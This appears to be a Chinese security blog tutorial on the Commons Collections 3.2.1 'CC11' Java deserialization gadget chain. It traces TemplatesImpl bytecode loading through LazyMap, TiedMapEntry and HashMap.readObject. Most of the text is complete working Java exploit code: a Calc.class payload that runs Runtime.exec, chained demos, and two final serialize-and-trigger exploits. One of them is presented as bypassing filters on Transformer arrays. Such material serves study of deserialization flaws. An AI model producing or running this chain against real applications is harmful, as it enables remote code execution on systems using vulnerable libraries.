0x00环境搭建

  • jdk8u65(CC11不受jdk版本限制)
  • Maven
  • openJDK8u65
  • CommonsCollections3.2.1

0x01利用链分析

很多师傅说CC11就是CC2+CC6的组合,但是我感觉CC11更像是CC4+CC6?因为命令执行方式还是用的TemplatesImpl动态加载字节码

TemplatesImpl利用

ClassLoader我们就已经讲过,ClassLoader.defineClass()可以直接加载字节码,但是由于其作用域不放开的关系,攻击者很少能直接利用它。而在TemplatesImpl类中重写了defineClass方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

此时,defineClass的作用域已经从protected变成了default,它已经能够被外部访问

我们find usages,找到了调用了defineClass()方法的defineTransletClassed()

defineTransletClasses先判断_bytecodes(也就是要加载的字节码)是否为null,再由run方法,生成loader,然后由_bytecodes.length获取字节码的组数,最后调用defineClass()依次加载每一组字节码。但它依然是一个private方法,我们继续往上找

这里有三个方法,而我们选择getTransletInstance(),因为defineClass()将字节码加载呈类的时候,并不会对类对象进行初始化,也就不会引起命令执行

getTransletInstance()首先对__name进行判断,然后调用defineTransletClasses(),最后调用newInstance()进行类对象的实例化。继续往上找,终于找到了public方法newTransformer

还有要注意的就是TransformerImpl的构造函数,_tfactory需要传入一个TransformerFactoryImpl对象

所以利用链大致就是

1
2
3
4
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoade.defineClass()

然后我们开始编写测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestTemplatesImpl {
public static void main(String[] args) throws Exception{
byte bytes[]= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
}

待加载的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;


public class Calc extends AbstractTranslet{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
public Calc(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

这里还有一个细节,就是待加载的类必修是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类,这个类是一个抽象类,所以我们也就需要重写这个类的抽象方法

再探CC6

我们从LazyMap.get()开始讲起,因为这个方法里面调用了transform()方法,进而可以调用InvokerTransformer.transform()来达到反射执行命令的目的

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

我们先尝试写一个demo,把LazyMap和前面的demo串起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.lang.reflect.Member;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class TestLazyMap {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
chainedTransformer.transform(chainedTransformer);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
Method method=LazyMap.class.getDeclaredMethod("get", Object.class);
method.invoke(lazyMap,chainedTransformer);
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
}

接下来就需要去找到哪里调用了get()方法,注意到TiedMapEntry,它的getValue里面调用了get方法,并且这个类的构造函数也是public

我们把上面的demo稍微改一下,同样可以弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class TestTiedMapEntry {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,chainedTransformer);
tiedMapEntry.getValue();
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
}

getValue是一个很常见的方法,我们先在同一个类里找一下哪里调用了getValue

这里碰巧找到了hashCode方法,里面不仅调用了getValue(),其本身也是一个在Java反序列化里很常见的方法。

后面的链子也就显而易见了,和URLDNS是一样的

HashMap.readObject()里面最后调用了hash()方法,而hash()方法里面又调用了hashCode()

0x02编写exp

HashMap作为入口类的CC11链子如下:

1
2
3
4
5
6
7
8
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
InvokerTransformer.transform()
templatesImpl.defineClass()

因为CC11的前半段已经在CC6里讲过了,这里直接上exp

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
public static void main(String[] args)throws Exception{
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap();
expMap.put(tiedMapEntry,"key2");
hashMap.remove("key1");
Field field=lazyMap.getClass().getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,chainedTransformer);
serialize(expMap);
unserialize("ser.bin");
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object o=ois.readObject();
return o;
}
}

然后需要注意两个点

问题1:put()方法被调用导致提前命令执行

如果我们注意HashMap.put()

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

put()方法里也调用了hash()方法,这样就会导致在expMap.put()这步就会执行命令

所以我们得在put方法之前就得传入一个无用的值,然后在执行完put方法之后,序列化之前再通过反射修改回去,也就是这一段:

1
2
3
4
Field field=lazyMap.getClass().getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,chainedTransformer);
serialize(expMap);

问题2:为什么需要remove()方法

如果我们不执行hashMap.remove("key1")这一段,我们的代码也就不会弹出计算器,我们来打断点看看原因

在反序列化的时候,这里会判断当前传入的HashMap是否包含key

我们传入的是一个空的HashMap,但是走到反序列化的时候,里面却有一组键值对"key->1",这是怎么回事呢?

前面说到,我们在执行expMap.put(tiedMapEntry,"key2");这步命令的时候,put()方法会继续往下执行,走到LazyMap.get(),此时传入得HashMap为空,也就自然能够通过判断

我们注意到debug的信息,map.put()这一步就会往里面放入"key1"->1,所以在反序列化的时候也就没办法通过判断

不使用Transformer数组的exp

CC11是可以不带Transformer数组的,这样在某些场景下就可以用于绕过对于Transformer的过滤

我们直接在LazyMap.get()里面调用InvokerTransformer.transform(),然后把TemplatesImpl对象传进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
public static void main(String[] args)throws Exception{
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// Transformer[] transformers=new Transformer[]{
// new ConstantTransformer(templates),
// new InvokerTransformer("newTransformer",null,null)
// };
// ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templates);
HashMap<Object,Object> expMap=new HashMap();
expMap.put(tiedMapEntry,"key2");
hashMap.remove(templates);
Field field=lazyMap.getClass().getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,invokerTransformer);
serialize(expMap);
unserialize("ser.bin");
}
public static void setFieldValue(Object o,String fieldName,Object value) throws Exception{
Field field=o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object o=ois.readObject();
return o;
}
}

0x03总结

CC-N其实都可以由CC1~CC7排列组合而成,CC11并没有加到ysoserial里面。CC11算是一条应用比较广泛的链子,这次学习CC11也算是回顾一下前面的只是,再贴一下CC11的利用链

1
2
3
4
5
6
7
8
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
InvokerTransformer.transform()
templatesImpl.defineClass()